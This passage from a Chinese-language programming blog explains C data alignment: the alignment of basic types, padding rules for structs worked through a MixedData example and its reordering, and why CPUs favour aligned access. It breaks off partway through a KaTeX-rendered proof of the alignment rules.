位系统）</p></li><li><p>long long 是 4 字节对齐（32 位系统）或 8 字节对齐（64 位系统）</p></li><li><p>float 是 4 字节对齐</p></li><li><p>double 是 8 字节对齐</p></li><li><p>long double 是 8 字节对齐（Visual C++）或者 16 字节对齐（GCC）</p></li><li><p>pointer 是 4 字节对齐（32 位系统）或 8 字节对齐（64 位系统）</p></li></ul><h1 id="结构体的对齐"><a class="markdownIt-Anchor" href="#结构体的对齐"></a> 结构体的对齐</h1><p>结构体 <code>struct</code> 的根据成员的对齐要求进行对齐，保证每一个成员的起始地址都是对齐的。</p><p>首先规则是如下：</p><ul><li><p>成员对齐规则： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>O</mi><mi>j</mi></msub><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O_j \equiv 0 \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><br />（偏移量必须是成员自身对齐要求的倍数）。</p></li><li><p>首地址对齐规则： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P \equiv 0 \pmod{A_{max}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（结构体起始地址必须是结构体最大对齐要求的倍数）。</p></li><li><p>总大小对齐规则： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Size \equiv 0 \pmod{A_{max}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（结构体总大小必须是最大对齐要求的倍数）。</p></li></ul><p>其中第二点由编译器的其他细节保证，其他两点需要编译器通过填充（Padding）来实现。</p><p>比如下面的结构体，摘自 <a href="https://en.wikipedia.org/wiki/Data_structure_alignment#Typical_alignment_of_C_structs_on_x86">Wikipedia Data_structure_alignment #Typical_alignment_of_C_structs_on_x86</a>：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">MixedData</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">char</span> Data1;</span><br><span class="line">    <span class="type">short</span> Data2;</span><br><span class="line">    <span class="type">int</span> Data3;</span><br><span class="line">    <span class="type">char</span> Data4;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><ul><li><p>Data1：char，占用 1 字节，起始地址 0，char 对齐要求 1 字节</p></li><li><p>填充 1 字节，使 Data2 起始地址为 2，short 对齐要求 2 字节</p></li><li><p>Data2：short，占用 2 字节，起始地址 2</p></li><li><p>Data3：int，占用 4 字节，起始地址 4，int 对齐要求 4 字节</p></li><li><p>Data4：char，占用 1 字节，起始地址 8，char 对齐要求 1 字节</p></li></ul><p>最后，结构体成员的最大对齐要求是 4 字节，因此结构体的总大小需要是 4 的倍数。当前大小为 9 字节，需要在末尾填充 3 字节，使得总大小为 12 字节。</p><p>很显然可以通过调整成员顺序减少填充，减少内存占用：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">MixedDataReordered</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">char</span> Data1;</span><br><span class="line">    <span class="type">char</span> Data4;</span><br><span class="line">    <span class="type">short</span> Data2;</span><br><span class="line">    <span class="type">int</span> Data3;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>最后占用 8 字节，没有填充。</p><h1 id="对齐的意义"><a class="markdownIt-Anchor" href="#对齐的意义"></a> 对齐的意义</h1><blockquote><p>我这这块比较一头雾水，搜索信息然后试着理解的，如果有谬误请指教</p></blockquote><p>对于早期 RISC 架构下的旧 ARM, MIPS 等的 CPU 非常严格，完全不允许读取不对齐的内存。</p><p>实际上 CPU 忽略后三位地址，只能读取字对齐的整段内存地址。</p><p>x86 架构的 CPU 则比较宽松，允许读取不对齐的内存，但是会带来性能损失。（通过读取两段内容然后由对齐器重新组合、移位加工来实现）</p><p>此外，CPU Cache 也是这样的，它按字读取，如果数据跨行，那就得读取两次。</p><p><img src="/images/csapp/data-alignment.png" alt="data alignment" /></p><h1 id="如何对齐"><a class="markdownIt-Anchor" href="#如何对齐"></a> 如何对齐</h1><p>那么为了尽量减少读取次数，就需要将数据对齐。</p><p>首先考虑数据的首地址必须对齐，否则后续的元素/成员都无法对齐。</p><p>为了达到这点，C 语言标准规定 <code>malloc</code>、<code>alloca</code>、<code>calloc</code> 和 <code>realloc</code> 返回的内存地址至少是 <code>max_align_t</code> 类型对齐的。</p><p>以及大多数函数的栈帧必须按 16 字节边界对齐。</p><p>考虑由基本类型的数组，它的首地址对齐，数组的每个元素紧挨着，没有 Padding，由于基本类型的长度都是 2 的幂，那么数组的每个元素也都是对齐的。</p><p>考虑结构体，它的首地址对齐，如果成员间按需添加 Padding，就能避免一些成员跨越对齐边界。同时添加适当的 Padding 在末尾，能够使得结构体数组的每个元素也都是对齐的。</p><p>关于为什么这三条规则就能保证对齐（以下由 AI 生成…）：</p><p>假设我们有一个结构体 S，它在内存中的排布遵循以下变量定义：</p><ul><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">A_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：结构体中第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 个成员的对齐要求（如 int 是 4）。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>O</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">O_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 个成员相对于结构体首地址的偏移量（Offset）。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub></mrow><annotation encoding="application/x-tex">A_{max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：整个结构体的对齐要求，定义为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo>=</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><msub><mi>A</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>A</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>A</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">A_{max} = \max(A_1, A_2, \dots, A_n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi></mrow><annotation encoding="application/x-tex">Size</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span></span></span></span>：结构体的总大小（包含填充字节）。<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex">P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>：结构体数组的首地址。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Addr(i, j)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span></span></span></span>：数组中第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个元素的第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 个成员的实际物理地址。</p></li></ul><p>编译器强制执行的三个规则：</p><ul><li><p>成员对齐规则： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>O</mi><mi>j</mi></msub><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O_j \equiv 0 \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（偏移量必须是成员自身对齐要求的倍数）。</p></li><li><p>首地址对齐规则： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P \equiv 0 \pmod{A_{max}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（数组起始地址必须是结构体最大对齐要求的倍数）。</p></li><li><p>总大小对齐规则： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>i</mi><mi>z</mi><mi>e</mi><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Size \equiv 0 \pmod{A_{max}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal">ze</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（总大小必须是最大对齐要求的倍数）。</p></li></ul><p>要证明的目标是：对于数组中任意元素 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 的任意成员 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>，其物理地址 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Addr(i, j)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span></span></span></span> 都能满足其自身的对齐要求 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">A_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>即证明：<p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">(</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">)</mo><mo>≡</mo><mn>0</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Addr(i, j) \equiv 0 \pmod{A_j}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" 